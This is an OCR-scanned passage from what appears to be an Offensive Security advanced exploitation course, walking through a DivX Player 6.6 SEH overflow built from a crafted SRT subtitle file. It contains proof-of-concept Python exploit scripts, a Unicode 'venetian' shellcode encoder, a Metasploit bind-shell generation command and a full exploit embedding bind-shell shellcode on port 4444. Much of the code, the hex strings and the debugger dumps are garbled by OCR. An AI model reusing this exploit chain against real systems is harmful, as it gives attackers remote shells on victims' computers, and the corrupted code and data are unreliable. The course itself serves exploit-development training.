0x00ce004c pop esi; pop ebx;retn 0xz0004
Ux00c600cS pop esi; pop ebx; ret
0x00ch00d0 pop esi; pop ebx; ret
0x00c700c9 pop edi; pop esi;retn 0x0004
0x00cal0%4 pop ebp; pop ecx; ret
0x00cal0bé pop ebp; pop ecx; ret
0x00cc0022 pop esi; pop edi; ret
0x00cc0082 pop esi; pop edi; ret

POP POP RET Search
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Much better! We are ready to build a new

ormation we gained and using a DivX
Player POP POP RET Unicode friendly address} 0x00480094:

#! /usr/bin/python ’_"_l/

# DivXPOCO3.py
# BAWE - Offensive Security
# DivX 6.6 SEH SRT Overflow - Unicode Shellcode Creation POCO1

# file = name of avi video file
file = "infidel.srt"

# POP PCP RET 0x00480094
stub = MhxdlW * 1032 +\"\x04\xA8

ump inside DivXPlayer.exe
+ "Axd3Y * (3000000-1034)

f = open(file, 'w")

f.write ("l \a")

f.write("00:00:01,001 --> 00:00:02,001\n"™)
f.write (stub)

f.close()

print "SRT has been created - ph33r \n";

POCO3 Source Code

We open POCO3 with the DivX Player and see that the SEH was overwritten by our POP POP RET
address. By setting a breakpoint on that address and following the execution flow we "land" inside our
controlled buffer.

Fddress | SE handl

BDS9FEZ4
ga4168641 D2336606

Y “J‘ggu@,‘hz Breakpoint hit on our own Exception Handler

D\mrﬁ /‘@/ Qo

’Dw“/ Check
xchy. €50~ ‘l\)<4£{ Niold®
xc&)-‘?&;{ o x%ﬁ; S 16

Cesb< “@f“ oF S o .
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POP E!Z“.:xf
RETHN

EGU ER¥. DWORD PTR S5 [ESP+16]
(PUSH EAY

| PUSH ESI

EALL DWLIRD PTR

 B0D ESF
MDY ERX.ESI
FOF ESI

FOP ECK
{ Ggqsa RETH ! Ft!:ll:l B'fTE PTR DS: [EPV} AL
| INTS DS3FEZS 94 #CHG EAX, ESP
@ BiE INT2 - BB4e oo RDD BYTE PTR DS:IEAX], CL
it H INTS 201 43 INC EEX
B H R MDY _ERX. DWORD F EZ aa4z oo AOD BYTE PTR DS:[EBXI, AL
; TEST ERX, ERAX 4 43 INC EEX
| e R oa43 8o AOD BYTE PTR DS: [EBXI, AL
i C&L D&DRD PTF: DE 4 43 INC EBX
i 3053 BE43 @6 ADD BYTE PTR DS:[EBXI,AL
i 43 INC EEX
oa4s @Ge ADD BYTE PTR DS:[EBEXI1,AL
43 INC EER
G4z a6 ADD BYTE PTR DS:[EBXI,AL
43 INC EBY
a4z ao ACD BYTE PTR OS: [EBXI, AL
43 INC EEX
a84% a6 A0D BYTE PTR DS:[EBXI, AL
43 INC EBX
an4s ao ADD BYTE PTR DS: [EBXI1,AL
42 INC EBX
@GR4z 4o A00 BYTE PTR DS:[EBX], AL
LESFEER| 43 INC EBX
aads ae A0D BYTE FTR DS: [EEX], AL
43 INC EBX
o843 oo A00D BYTE FTR DS: [EBKI, AL
43 INC EBX _
8842 60 ADD BYTE FTR DS: [EBXI, AL

Figure 43: POP POP RET leads inside our controlled buffer

1) Repeat the required steps in order to control the execution flow and land inside out evil buffer.
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o s ureny £ i | Ces b 'hha i % % s 3 3 ]
1 15% daver o.o ASE S0 e UNICO0 avioag |

It's time to build our Unicode shellcode using the technique showed in the previous paragraphs. The
following script takes a raw payload as input and prints out both the venetian shellcode writer Unicode
encoded and the half shellcode which will be completed by the writer at execution time:

#!/usr/bin/python

import sys

B0 00 75:add byte ptr [eax],75h
00 oD 00:add byte ptr [ebpi,ch
40 1inc eax

00 6D 00:add byte ptr [ebp],ch
40 rinc eax

00 6D 00:add byte ptr [ebpl,ch

= e SE HE S

def format shellcode(shellcode):
¢ =20
output = !!
for byte in shellcode:
if ¢ = 0:
CREDHE: el
output += byte
c =1
if c == 64:
output += !"\n!'
gi=0
putput += '"!
return output
raw_shellcode = open({sys.argv[l], 'rb'}.read{()
shellcode writer =
shellcode writer 1 = 0
shellcode hole

wn

shellcode hole 1 =0
venetian stub = "\\=z80\\x¥s\\x6D\\x40\\x6D\ \x40\\x6D"
(e e
for byte in raw shellcode:
1f ciz:

shellcode writer += venetian stub % hex{ord{byte)).replace("0x","").zfill{2)
shellcode writer 1 += 7

else;
shellcode hole += "\\x"+ hex(ord(byte}}.replace("0x",""}y.2fil1l(2)
shellcode hole 1 += 1

e

ocutputl = format shellcode(shellcode writer)

print "[*] Unicode Venetian Blinds Shellcode Writer $d bytes" % shellcode writer 1

print ocutputl

print

print

print

output2 = format shellcode(shellcode hole}

print "[*] Half Shellcode to be filled by the Venetian Writer %d bytes" % shellcode hole 1
print output2

Unicode Payload Builder source code
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Before writing the next POC we must make some considerations:

* Once we land in our controlled buffer we can't use the usual technique to jump over the SEH
and execute our payload as a short jmp opcode (EB069090 for example) will be mangled by the
Unicode filter.

* Because of the previous point the following opcodes (our return address) will be executed:

a1 INC ECX

0041 00 ADD BYTE PTR DS: [ECX],AL
94 XCHG EAX,ESP

0048 00 ADD BYTE PTR DS: [EAX],CL

RET executed as code

The XCHG EAX,ESP opcode will mangle our stack pointer. To overcome this we can repeat the XCHG
opcode to reset ESP before executing our payload.

As explained in Chris Anley's paper, we will need to have at least a register pointing to the first null byte
of our shellcode. Although the XCHG EAX,ESP we saw before could help at first glance, it will make our
job more complex later on because we will have to restore ESP in order to be able to execute shellcode.
The ECX register points to a stack address close to our buffer and it seems like a good candidate after
some adjustments.

Ollybbg DivX Player.exe - [CPU - thread 00000224]
sse View Detug Plugir;s Opttons window Help

4

FIDD B‘:TE tl!: [ECKX], AL
F4 HCHG EAR,
845 PO HOD BYTE D‘S:[EQ‘}{},CL
43 IHC EBX
8243 99 ADD BYTE PTR DS:[EEXI,AL
42 IMC EBX
2045 @0 ADD BYTE PTR DS:[EBXI1,AL
4z INC EBX
aa4z aa ROD BYTE PTR DS:[EBXI.AL
43 INC EBX
o042 G0 ROD BYTE PTR DS:{EBXI,AL
43 INC EBX
ag4z ae ADD BYTE PTH DS:[EBXI,AL
43 INC EBX
5243 0o ARDD BYTE PTR DS:[EBXI,AL
43 INC EBX
G043 60 H00 BYTE PTR US:(EEBXI.AL
43 INC EBX
aa4s aa A0D BYTE PTR DS:[EBXI,AL
A 43 IMC EBX
G843 aa ROD BYTE PTR DS:[EBK]1, AL
43 INC EBX
BR43 00 ADD BYTE PTR DS:CEBXI, AL
43 INC EBX
2042 oo ADD BYTE PTR 0S:[EBXI,AL
43 INC EBX
aa4s 6o AOD BYTE PTR DS:LEEX], AL

Figure 44: Return address executed as XCHG EAX, ESP
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Figure 45: ECX pointing to a stack address close to our buffer
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DivX Player 6.6 Case Studyv: Getting our shell

Taking note of the above considerations, we can write the first stub exploit that will be the base for the
following ones. We generate a bind shellcode with Metasploit and then obtain the custom Unicode

payload through our venetian encoder:

bt VENETIAN # /pentest/exploits/framework2/msfpayload win32 bind R > /tmp/bind

bt VENETIAN # ./venetian encoder.py /tmp/bind

[*] Unicode Venetian Blinds Shellcode Writer 1106 bytes
"\z80\x6a\x6D\x40\ 26D\ x40 \x6D\ 280 \x4d\x6D\ x40\ x6D\ x40\ x6D\x80\x£O"
“\x6D\x40\xGD\x40\XGD\xSD\xff\xED\x40\x6D\x40\x6D\x80\x60\xSD\x40"
"\x6D\x40\x6D\x80\x6c\x6D\x40\26D\x40\x6D\xB0\ 224 \x6D\x40\x6D\x40"
"\x6D\x80\®45\ 6D\ x40\ 26D\ x40 \x6D\xB0\=8b\x6D\x40\x6D\x40\x6D\=B0"
"\x05\x6D\x40\x6D x40\ 26D\ B0 \=01\x6D\x40\x6D\ x40\ x6D\xB0\x8b\x6D"
"\x40\x6D\x40\x6D\XBONRIBAXED \ x40 \Z 6D\ x40\ 6D\ xBO\ x5 f\x6D\ x40\ R6D"
"\x40\x6D\x280\x01 \ 26D\ x40\ x6D\ x40 \=6D\xB0\x49\x6D\ x40\ 26D\ x40\x6D"
"\xB0\x34\x6D\x40\x6D\x40\x6D\xB0\x01 \x6D\ x4 0\x6D\ x40\ 26D\ xB0\ 31"
"\x6D\x40\x6D\xd0\x6D\xB0\x90\x6D\ x40\ x6D\x40\x6DAXBONxB4\xz6D\=40"
"\Nx6DAxA0\xED\B0\RT4\x6D\x40\x6D\x40\x6D\x80\xcl \x6D\x40\x6D\ 40"
"\x6D\xBO\x0d\ 26D\ x4 0\x6D\x40\x6D\XB0\xc2 \ 26D\ x4 0\x6D\ 240\ XEDA\KBO"
"\xf4\x6D\x40\x6D\x40\x6D\x80\ 254 \x6D\ x40 \26D\240\x6D\x80\x28\x6D"
"A\x40\x6DAx40\26D\xB0 \xe5 \x6D\x4D\x6D\=40 \x6D \xB0\x5F \x6D \ x40\ =z6D"
"\x40\x6D\x80\x01\x6D\x40\x6D\x40\x6D\ 280 \x66\x6D\x40\x6D\ x40\ x6D"
"ARBOAR0C\xE6D\x40\X6D\ x40\ 26D\ 280 \xBb\R6D\X40\X6D\ x40\ x6D\x80\x1lc"
"\x6D\x40\x6D\x40\x6D\xB0\xeb\x6D\x40\x6D\x40\x6D\x80\x2c\x6D\x40"
"\x6DAR40\REDAXBONXBI\RED\X40\ XD\ x40\ 6D\ xB0\R24 \ x6D\ K40 \x6D\x40"
"\x6D\xB0\x61 \x6DA\RA0\RED x40 26D \xB0\x31 \ k6D \x40 26D\ x40 \x6DA\KBO"
"\x64\x6D\x40\x6D\x40\x6D\x80\x43\x6D\ x40 \x6D\240\x6D\xB80\x8b\x6D"
"\x40\XGD\KQO\xGD\xSO\XOC\XED\XQO\XED\XQO\xGD\XBO\x?G\xéD\xQD\xﬁD"
"\x40\x6D\xB0\xad \x6D\x40\x6D\x40\x6D\ 280\ x40\ x6D\x40\x6D\x40\x6D"
"\xB0\x5e\x6D\x40\x6D\x40\X6D\xB0\xBe\x6D\x40\x6D\ x40\ x6D\xB0\x0e"
"\x6D\x40\x6D\x40\x6D\XB0O\XE0 \KED\ x40\ 26D\ x40\ 26D\ B0\ xdp \x6D\ =4 0"
"\z6DAx40\x6D\XB0\X53 \x6D\ x40\ x6D\ x40\ 26D\ xB0O\x68\x6D\ x40\ x6D\x40"
"\xGD\xBQ\xB2\x6D\x4D\xGD\xdO\x6D\xBO\x??\xSD\de\XGD\x40\XGD\X&O“
"\x32\x6D\x40\x6D\x40\x6D\x80\x54 \x6D\x40\x6D\x40\ 26D\ 280 \xdD\x6D"
"\x40\x6D\x40\x6D\x80\xcb\x6D\240\ 26D\ %40\ x6D\xB0\xRfc\x6D\x40\x6D"
"\x40\z6D\x80\x50\x6D\240\x6D\ 240\ 26D\ 280\ 2d6 \xAD\RAD\RED\ 24D\ 2ED"
"\zB80\xB89\xED\x40\x6D\R40\x6D\xB0\ %66 \x6D\ x40 \x6D\40\XE6D\ %80 \xed"
"\x6D\x40\x6D\x40\x6D\xBO\x02\ 26D\ 240\ 26D\ 240\ x6D\2B0\x6a\x6D\x40"
"\x6D\x40\x6D\xBONXEF\R6D x40\ 26D\ x40\ x6D\XB0O\X68\ 26D\ 24 0\x6D\x40"
"\x6D\x80\x09\x6D\ x4 0\x6D\x40\x6D\xB0\xad\x6D\x40\x6D\x40\x6D\xB0"
"\ EFAxEDAx40\x6D\ x40 \x6D\xB0 53\ 26D\ x40 \x6D\x40\x 6D \x80\x53\x6D"
"\xd O\x6DA\R40\x6D\xB0\x53\ 26D\ x40\ 26D\ 240\ x 6D\ %8B0\ 253\ ®6D\ x40\ x6D"
"\x40\x6D\xB0\x53\R6D\RA0\X6D\x40\x6D\ 280 \xd0\x6D\ x40\ 26D\ x40\ x6D"
"\xBO\x68\x6D\x40\x6DARA0\ 6D \XB0\ 25\ 26D\ x40\ x6D\ 40\ 26D\ 280 \x53"
"\x6D\x40\x6D\x40\ 26D \xB0\xe1 \x6D\x40\x6D\ x40\ 26D\ xB0\x68\x6D\x40"
"\x6D\xd 0\x6D\xB0 \x1a\x6D\ x4 0\x6D\x40\x6D\ B0\ T\ 26D\ x40\ x6D\ 240"
"\x6D\xBONXEL\x6D\x40\x6D x40 \%x6D\x80\x6a\x6D\x40\x6D\x40\x6D\x80"
"AE1N\Nx6D\R40\XED\ x40 \x6D\XBO\XEL A X 6D\ x40\ 26D\ x40\ x 6D\ xBO\ K68\ x6D"
"\x40\x6D\=x40\x6D\x80\xad\x6D\x40\x6D\x40\x6D\ 280 \xe9\x6D\x40\x6D"
"\x40\xED\xBO\RLE\R6D\ x40\ 26D\ x40\ x6D\xBO\R53\x6D\ x40\ x6D\ x40\ x6D"
"AxBONEARED\4 0\ 6D\ 240\ R6D\ B0\ 68\ XD\ 40\ 16D \ x40\ x6D\ B0\ 240"
"\x6D\x40\x6D\x40\x6D\xBO\R49\x6D\x40\26D\ 240\ x6D\2B0\XEE\ 6D\ 240"
"\x6D\x40\x6D\280\x50\x6D\x40\x6D\x40\x6D\xB0\x54\ 26D\ x40 \x6D\ 240"
"\xpD\xBONXTE\R6D\ x40\ 26D\ x40\ x6D\xB0\ x93\ 26D\ x40\ x6D\ x40\ 26D\ 280"
"\xeT\x6D\x40\x6D\x40\x6D\xB0\xcb\x6D\x40\x6D\x40\x6D\xB0\K5T\x6D"
"\xd0\x6D\x40\x6D\xB0\Rd6\X6D\ x40\ 26D\ x40 \x6D\xB0\ 2 EF\x6D\ x40\ 2 6D"
A4 0\NXEDARBO\x66 \X6D\R40\XED x40\ xED\ 2B\ X 64\ % 6D\ x40\ 26D\ x40\ x60"
"\xB0\x68\x6D\x40\x6D\x40\x6D\xB80\x6d\x6D\ x40\ 26D\ x40 \=x6D\xB80\xe5"
"\x6D\x40\x6D\x40\x6D\xB0\ x50\ x6D\x40\x6D\ x40\ x6D\xB0\x29\ 26D\ x40"
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"A\xeD\x40\x6D\xB0\xB9\x6D\x4 0\ 26D\ x40 \x6D\xBO\x6a \ %60\ x40 \x6D \ x40
"Nx6D\xB0\x89\x6D\x40\x6D\ 240\ 26D\ B0 \%31 \x6D\ x40\ x6D\ x40\ 26D\ 280"
"ARE3\x6DARA0\x6D\RA0\RED\2B0\2fe \xED\ x40\ x6D\ x40\ 26D\ %80 \x2d \x6D"
"\xd40\x6D\x40\x6D\xBO\x42\x6D\x4 0 \x6D\x40\x6D\xB0\ x93\ 26D\ x40\ x6D"
"\xdD\x6D\xBO\RTa\x6D\x40\26D\ x4 0\x6D\x80\xab\x6D\x40\x 6D\ x40\ 260"
"AxB0\xab\x6D\ 240 \x6D\ x40 \x6D\xBONKT 2 \x6D\x240 \x6D\ x40\ x6D\ 280\ xb3"
"\x6D\xd0\x6D\x40\x6D\xBO\KEF\ 26D\ RA0\xED\ x40\ 26D\ 280\ %44\ 26D\ 240"
"Ax6D\2d0\x6D\xBO\xd6\ 26D\ x40\ 26D\ x40\ x6D\xXBO\XS T\ 26D\ x40\ 26D\ 240"
"N\z6DA\RB0NX51\x6D\x40\26D\x40\x6D\ k80 \x51 \x6D\x40\x6D\x40\x6D\x80"
"\x01\x6D\x40\x6D\x40\x6D\xB0\x51 \x6D\x40\x6D\x40\x6D\ %80 %51 \x6D"
"NxdO\x6DARA0\ 26D \xB0\xd0\x6D\ x40\ 26D\ x40\ 26D\ 280 \xad\x6D\ x40\ 260"
"\2d0\x6D\xB0\x05 \x6D\ x40\ 26D\ x40 \x6D\ X80 \R53\x6D\ x40\ 26D\ x4 0\x6D"
“A\xBO\xde \x6D\xd0\x6D\x40\x6D\ %80\ x££\ x6D\ x40 \x6D\ 240\ x6D 280 \%3T"
"\x6D\x40\x6D\x40\x6D\B0\xd0\ 6D\ x40\ 26D\ x40 \x6D\KBO\R5 7\ 26D\ x40"
"\x6D\=40\x6D\xB0\x83 \ 26D \x40\x6D\ x40 26D \XBON\®64 \ 26D\ %40\ 26D\ 240"
"\x6D\x80\xd6\x6D\x40\x6D\ x40\ x6D\xB0\ x££\ x6D\x40\x6D\ 240\ 26D\ xB0"
"\x6B\x6D\x40\x6D\K40\2ED\xB0\xBa \®6D K40 \x 6D\ K40\ K6D\ kB0 \x5 £\x6D"
"\xdO0A\RED\2A0Nx6D \RBONREE\K6D\ x40\ 26D\ x40\ 26D\ B0\ £ £\ 6D \ x40\ x6D"
"\xd0\x6D"

[*] Half Shelicode to be filled by the Venetian Writer 159 bytes
"Axfc\xeb\xeB\XEF\XEE\xBD\x24\xBb\ X3 \xTc\x78 \xefAK4AE\XBD\ %20\ xeb"
"\x8b\x8b\xzee\xcO\xac\xc0\x07 \xca\x01 \xeb\x3b\x24\ 275 \xBb\x24 \xeb"
"Ax8b\xdb\x5F\x01\x03\xBb\x6c\zxlc\xec3\xdb\xBb\x30\x40\xBb\x1c\x8b"
"\x0B\x68 \nde\xec\xLE\xb66 %66 \x33\26B\x73\%5F\xEF\ 268 \xed\x3b\REE"
"\x5f\xe5\xSl\xOB\X55\x02\xd0\xd9\xf5\x5?\xdG\xSB\x53\x43\x43\xff"
"Ax66\x1I\nee \RBO\XI5 \xad \xTO\RS T \xde \x10\x55 \xd0\xad\x2e\ 25T\ xda"
"\x55\xd0\xe5\xB6 \x5T\xd6\x54 \x55 \xd0\x68 \x 70\ 279\ x££ \x55\xd0\x6a"
"A\xB66\xE3\xBO\x6a\x59\xcc\xe T\ ndd \xe2 \xcO\xaa\x42\xfe\x2c\x8d\x 38"
"\xab\xz68\xfe\x16\xT5\xE£E\x5b\x52\x51\x6a\x51 \x55\ x££\ x66\xd9\xce"
"AxEf\xba\xELAREE\xBb\xfe\xcd \REE\x52 \xd0\xF0\x04\ 253 \xdE \xd0"
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And we now create our first stub exploit:

#! /usr/bin/python

# DivXPOCO4.py

# AWE - Offensive Security

# DivX 6.6 SEH SRT Overflow - Unicode Shellcode Creation

# file = name of avi video file
file = "infidel.srt"

# Unicode friendly POP POP RET somewhere in DivX 6.6

# Note: \x94 bites back - dealt with by xchg'ing again and doing a dance to
# shellcode Gods

ret = "\x94\x48"

# Payload building blocks

buffer = "\=41" * 1032 # offset to SEH

#chg esp = "\x9d\xed" # Swap back EAX, ESP for stack save,nop

®xchg ecx = "\x91\x6d" # Swap ERX, ECX for venetian writer,nop

align buffer = "\x05\xFF\x3C\x6D\x2D\xFF\%x3C\x6D" # ECX ADJUST: TO BE FIXED
rest = "\x01" * 590@000 # Buffer and shellcode canvas

# [*] Half Shellcode to be filled by the Venetian Writer 159 bytes

# bind shell on port 4444

half bind = {

“\xfc\xeb\xes\xff\xff\bi\x24\xab\XBC\X?C\XT8\xef\x4f\x8b\x20\xeb“
"\be\bi\xee\ch\xac\ch\xG?\xca\xOl\xeb\bi\xZé\x75\x8b\324\xeb“
"\x8b\x4b\x5f\xOl\x33\bi\ch\xlc\ch\xdb\be\x30\x40\x8b\xlc\x8b"
"\XOE\x68\x4e\Xec\xff\xGS\XﬁG\x33\x68\x?3\x5f\xff\x63\ked\x3b\xff"
"\xSf\xeﬁ\xB1\xOS\xBS\xﬂz\de\de\fo\x57\xd6\x53\x53\xg3\x43\xff"
"\xsﬁ\xll\x66\x89\x95\xa4\x70\x57\xd6\x10\x55\xd0\xa4\xze\xS?\xds“
"\xSE\de\xeS\xB6\x57\xdﬁ\x54\x55\de\xGE\x?Q\x?Q\xff\xss\xdﬂ\xﬁa"
"\x66\263\x89\x6a\x59\xcc\xeT \x44 \xe2 \xc0\xaa\xd2 \xfe\x2c\ x8d\x38"
"\xab\xSB\xfe\xlS\X?5\xff\x5b\x52\x5l\xGa\x51\x55\xff\x68\xd9\xce"
"\xff\x6a\xff\xff\x8b\xfc\xc4\xff\x52\de\fo\xO&\xSS\xdG\de“ )

# [*] Unicode Venetian Blinds Shellcode Writer 1106 bytes

venetian writer = (
"\xBU\xGa\xGD\x4D\xﬁD\xéO\xED\XBD\x4d\xSD\x40\x6D\x40\x6D\x80\xf9"
"\x6D\x40\x6D\x4D\x6D\x80\xff\xSD\x40\x6D\x40\x6D\x80\360\x65\x4D"
"\x6D\x40\x6D\x80\x6c \x6D\ 240\ 26D\ x40\ 26D \xBON %24\ x6D\ %40\ % 6D\ x4 0"
"\x6D\x80\x45\xGD\xd0\x6D\x4D\xﬁD\x80\x8b\x6D\x40\x6D\x40\xGD\XSO“
"\xGE\xSD\xQO\xGD\xéO\xﬁD\XSO\xOl\xﬁD\x4D\xﬁD\x4G\x6D\x8D\bi\xﬁD"
"\x40\x6D\x40\x6D\x80\x18\x6D\x40\x6D\x4G\xﬁD\xBO\xSf\xSD\x4G\XSD"
"\x40\xﬁD\xBO\xDl\x69\x40\x6D\x40\x6D\xB0\x49\x69\x40\x6D\x40\x6D“
"\x80\x34\x6D\de\x6D\x4O\XGD\XBD\XDI\xGD\xQD\x6D\x40\xGD\x80\x31"
"\xﬁD\x4D\x6D\x40\xGD\x80\x99\x63\x4D\xGD\x40\x6D\x80\x84\x6D\x4D"
“\xéD\x&O\XGD\XBO\X?d\x6D\x4D\xGD\x40\xﬁb\XSO\xcl\x6D\x40\x6D\x40"
"\x6D\xB0\x0d\x6D\ x4 0\x6D\x40\x6D\x80\2c2\x6D\x40\x6D\ x40\ x6D\z80"
“\xfd\x6D\x4D\xED\de\xGD\xBO\xEd\x6D\x4D\xﬁD\xéO\x6D\x80\x28\X6D“
“\xdD\x6D\xéﬂ\xﬁD\xSG\xeS\x6D\xdG\x6D\xéﬂ\xéD\xﬂO\fo\xGD\x40\XSD"
“\x4U\x6D\x80\xOl\x6D\x40\x6D\x40\xGD\xSO\xGG\RGD\xaﬁ\xGD\xQO\xﬁD"
"\xBO\ch\x6D\x4D\x6D\x40\xED\xSO\x8b\x6§\de\x6D\xdO\XED\XSO\xlc“
"\XGD\KQU\X6D\xdﬁ\xﬁD\xSD\xeb\xﬁD\x4U\x6D\x§O\XGD\xSO\xZC\xGD\de"
"\KGD\XQO\XGD\RBO\xBB\xGD\de\XGD\X40\x6D\x80\x24\x6D\x40\X69\X4G"
"\x6D\x80\x61\x6D\x40\x6D\x40\x6D\X80\x3l\x6D\x40\x6D\x40\x60\x80"
"\X64\HGD\X40\XGD\x40\H6D\XBD\X43\KSD\XGO\x6D\x40\XSD\xBO\be\X6D"
"\x4D\xéD\xd0\x6D\x80\ch\xGD\x40\XGD\xéD\xGD\xBO\x?O\xGD\x40\x6D"
"\xdG\xGD\xSO\xad\x&D\xd0\x6D\x40\x6D\x8D\xéO\xSD\xQD\xGD\x40\x6D"
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"\x80\x5e\x6D\xﬂO\xﬁD\x40\xGD\xBD\xSe\xGD\x40\xGD\xéO\xSD\XSO\er"
"\Nz6D\x40\x6D\x40\x6D\xBO\50\ 26D\ x40\ x6D\x40\x6D\ %80\ 12d6\ 26D\ 240"
"\x6D\x40\xz6D\xB0\x53\x6D\ x40\ 26D \K40\ 26D\ xB0\KEB \ 16D\ x40 \xED\ x4 0"
"\xGD\xBD\x32\x6D\de\x6D\x40\xED\xBG\x??\x6D\x40\XGD\xQO\zén\xSO"
"\x32\X6D\X40\X6D\X40\X6D\KBO\X54\KGD\X40\XGD\XQO\X6D\X80\Xd0\36D"
"\x40\x6D\x40\x6D\xB0\xcb\x6D\40\x6D\x40\x6D\ B0\ x Fo\x6D\ x40 \x6D"
"\x40\x6D\xB0\x50\26D\x40\z6D\x40\%6D\xB0\xd6\x6D\x40\x6D\ x40\ x6D"
"\xB0\x89\x6D\x40\x6D\x40\x6D\xB0\x66\x6D\ x40\ x6D\x 40\ % 6D\ %80 \zed"
"\x6D\x40\x6D\x40\x6D\xB0\x02\x6D\x40\ 26D\ x40\ x6D\xB0\x6a\x6D\ 240"
"\x6D\x40\x6D\xBO\REE\XED\ x4 0\%6D\ x40 \R6D\XBO\ 268 \x6D \ 40\ x26D\x40"
"A\z6D\xB80\209\x6D\x40\x6D\x40\ 26D\ 280 \xad \x6D\x40\x6D\240\x6D\xB0"
"\xEE\R6D\x40\x6D\x40\x6D\xB0\x53\x6D\x40\x6D\ x40\ x6D\xB0\x53\x6D"
"\x40\x6D\x40\x6D\xB80\x53\x6D\x40\x6D\x40\x6D\ B0\ %53\ x6D\x40\x6D"
"\x40\x6D\xB0\x53\x6D\x40\x6D\x40\26D\280\xd0\x6D\ x40\ x6D\ x40\ 60"
"\x80\x68\x6D\x40\x6D\x40 \x6DA\xB0\xEC\ 26D\ 240\ 26D\ %40\ 6D\ B0\ 253"
"\x6D\x40\x6D\240\x6D\x80\xel \x6D\x40\x6D\x40\x6D\ 280\ x68\x6D\ k40"
"\x6D\R40\x6D\x80\x1a\x6D\x40\x6D\x40\x6D\xBONxcT \ 26D 240\ x6D\x40"
"\x6DAxBONREE\x6D\ x40 \x6D\ 240\ x6D\xB0\x6a \x6D\ 40\ 6D\ 240\ x6D\ 280"
"\x51\x6D\x40\x6D\x40\x6D\xB0\x £\ x6D\ x40\ 26D\ x4 0\ x6D\xB0\x68 \ x6D"
"\x40\x6D\x40\x6D\xB0\xad \x6D\x40\x6D\x40\x6D\xB0\xe0\x6D\ x40\ x6D"
"\x40\x69\x8G\xff\xGD\de\xGD\x&O\xSD\xSO\x53\x6D\x40\XED\x40\X6D"
"\xBO\xEEAR6D\x40\6D\x40\x6D\xB0\x68 \x6D\xA 0\ 26D\ x40\ 26D\ 280 \%4"
“\x6D\x40\x6D\x4G\xBD\x80\x49\xGD\x40\x6D\x4D\x6D\xBU\xff\x65\x40"
"\x6D\x40\x6D\x80\K50\ 26D \x40\R6D\ x40 \x6D\ B0\ 254\ x6D \ x40\ xED\ 10"
"\x6D\xBO\xfF\x6D\x40\x6D\ x40 \x6D\xB0\x93 \x6D\x40\x6D\x40\x6D\xB0"
“\xe?\xﬁD\x4D\x6D\X4D\XGD\XBO\xc6\x6D\x4O\x6D\x40\x6D\x80\x5?\x69“
"A\xd0\x6D\x40\x6D\xB0\xd6\ 26D\ x40\ 6D\ x40\ 26D\ B0\ EF\ 26D\ x40\ x6D"
"Ax40\xBEDAxBO\x66 \x6D\x40\x6D\x40\R6D\x80\x64\XED\ 240 \x 6D\ x40\ xED"
"\xB80\x68\x6D\x40\x6D\xd0\x6D\ 280\ x6d\ 26D\ x40\ 6D\ 240\ 26D\ X80\ xa5"
"\x6DA\x40\x6D\x40\XED\xB0\x50 % 6D\ x40 \x6D\ x40\ x6D\xB0\x29\x6D\ x4 0"
"\x6D\xéO\x6D\x80\x89\26D\240\x6D\x4D\XED\xBO\xGa\x6D\x40\x6D\x4O"
"\zB6D\xB0\xB9\x6D\x40\x6D\x40\x6D\xB0\x31\26D\ x40\ %60\ 240\ x6D\xB0"
"AxE3NxBDAx40\x6D x40\ x6D\z80 \xfe\x6D\x4 D\ x6D\ 240\ 26D\ %80\ 22d\x6D"
"\x40\x6D\x40\x6D\x80\x42\x6D\x40\x6D\x40\x6D\xB0\ x93\ x6D\x40\x6D"
"\ 240\x6D\XBO\xT7a\x6D\x40\x6D\x40\x6D\ 280 \xab\x6D\ x40\ x6D\ x40\ R 60"
"\x80\xab\x6D\x40\x6D\x40\ 26D\ xB0\x 72 \ 26D\ 240\ 6D\ x40\ x6D\x80\ xb3"
"\xﬁD\xﬂO\XGD\x40\x6D\x80\xff\x6D\x4O\x6D\x4O\XGD\XSG\xdd\XGD\xdo"
"\x6D\x40\x6D\x80\xd6\x6D\ x40 \x6D\ x4 0\xED\xBON 5T\ 26D\ %40\ 6D\ 240"
"\x6DAxBO\x51\x6D\x40\x6D\ x40\ 26D\ xB0\R51\x6D\ x40\ x6D\x40\ 26D\ xB0"
"\xOl\X6D\X4G\XED\X40\XGD\XSO\X51\xSD\X40\XGD\XQO\XGD\XBG\XSI\XGD“
"\x40\x6D\x40\x6D\x80\xd0\x6D\x40\x6D\ x40\ 26D\ %8B0\ xad\x 6D\ x40\ x6D"
"\x40\x6D\x80\x05\x6D\x40\ 26D\ 240\ 26D\ %80\ x53\x6D\x40\ 26D\ 240 \x6D"
"\xB0\xd6\x6D\x40\x6D\ x40\ x6D\RBONREF\ 6D\ 240\ 26D\ x40\ 6D\ B0\ 237"
"\x6D\X40\XGD\X4D\xﬁD\xSD\de\xED\x40\xGD\x&O\x6D\x80\x5?\XED\xdO"
"\x6D\x4D\xGD\xBD\X83\x6D\x4D\x6D\x40\XGD\XSO\X64\xSD\XdG\XSD\X4D"
"\x6DA\xBO\xdE\x6D\x40\x6D\ x4 0\x6D\XBO\XE £\ 26D\ x40\ x6D\ 240 \x6D\ k80" 2
"\xz6B\x6D\x40\x6D\x40\x6D\xB80\x8a \ 26D \R40\ 6D\ x40\ 26D\ B0\ x5 FAxED"
"\x40\x6D\x40\x6D\xB0\x FF\x6D\x40\x 6D\ x40\ x6D\ 280\ x££\ x6D\ x40\ 260"
"\xd0\xBD")

#PoC Venetian Bindshell on port 4444 - ph33r
shellcode = buffer + ret + xzchg esp + xchg ecx + align buffer
shellcode += venetian writer + half _bind + rest

f = open{file, 'w')

f.write("1 \n")

f.write("00:00:01,001 --> 00:00:02,001\n")
f.write(shellcode)

f.close{}

print "SRT has been created - ph33r \n";

POC04 source code
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While running the above exploit, something goes wrong. SEH has not been overwritten with our own
return address. We look at the buffer in memory, it has been mangled just before a 0x0D byte which

has probably been filtered (a quick test changing this char to 0x41 reveals that we can overwrite SEH
again).

BECAFEZ4 Divy_Fla, B05CRE10

Sisdvesh [5E hisgelier P o
Ba06aacT | cfzcz’:ccrc '

Figure 46: Bad character affecting return address

SO__ LY O
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dump

[{unicoge |

aa &0

Hddress fﬂex
SRR

DIRDODD
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ot e B ok ok et ok o ok ok o ok ok o]

R N N O O N T N T
. e e

an.
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aa

a0
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ae

- Bl
Rédtenea

Bpfar* Bl
rafdr * 1 i@
(" Gl (@
Bl
* IriEnBen®
¥ @t Y
raBraile £

L@

HHHRHHSA

CRAARARRA

FRAREESS
HAHHREAH

- ARARRREE

HRHAAHEAS
HHARRRON
HHARHERS
HEHAAHBS
AAHAHAEARA
HEAARRAR
AARRRARARA
HEHPHHRA
HEAARRERR
ARARAARR
HAARRRRA

- HEHARBER

Figure 47: Identifying the bad character inside our buffer

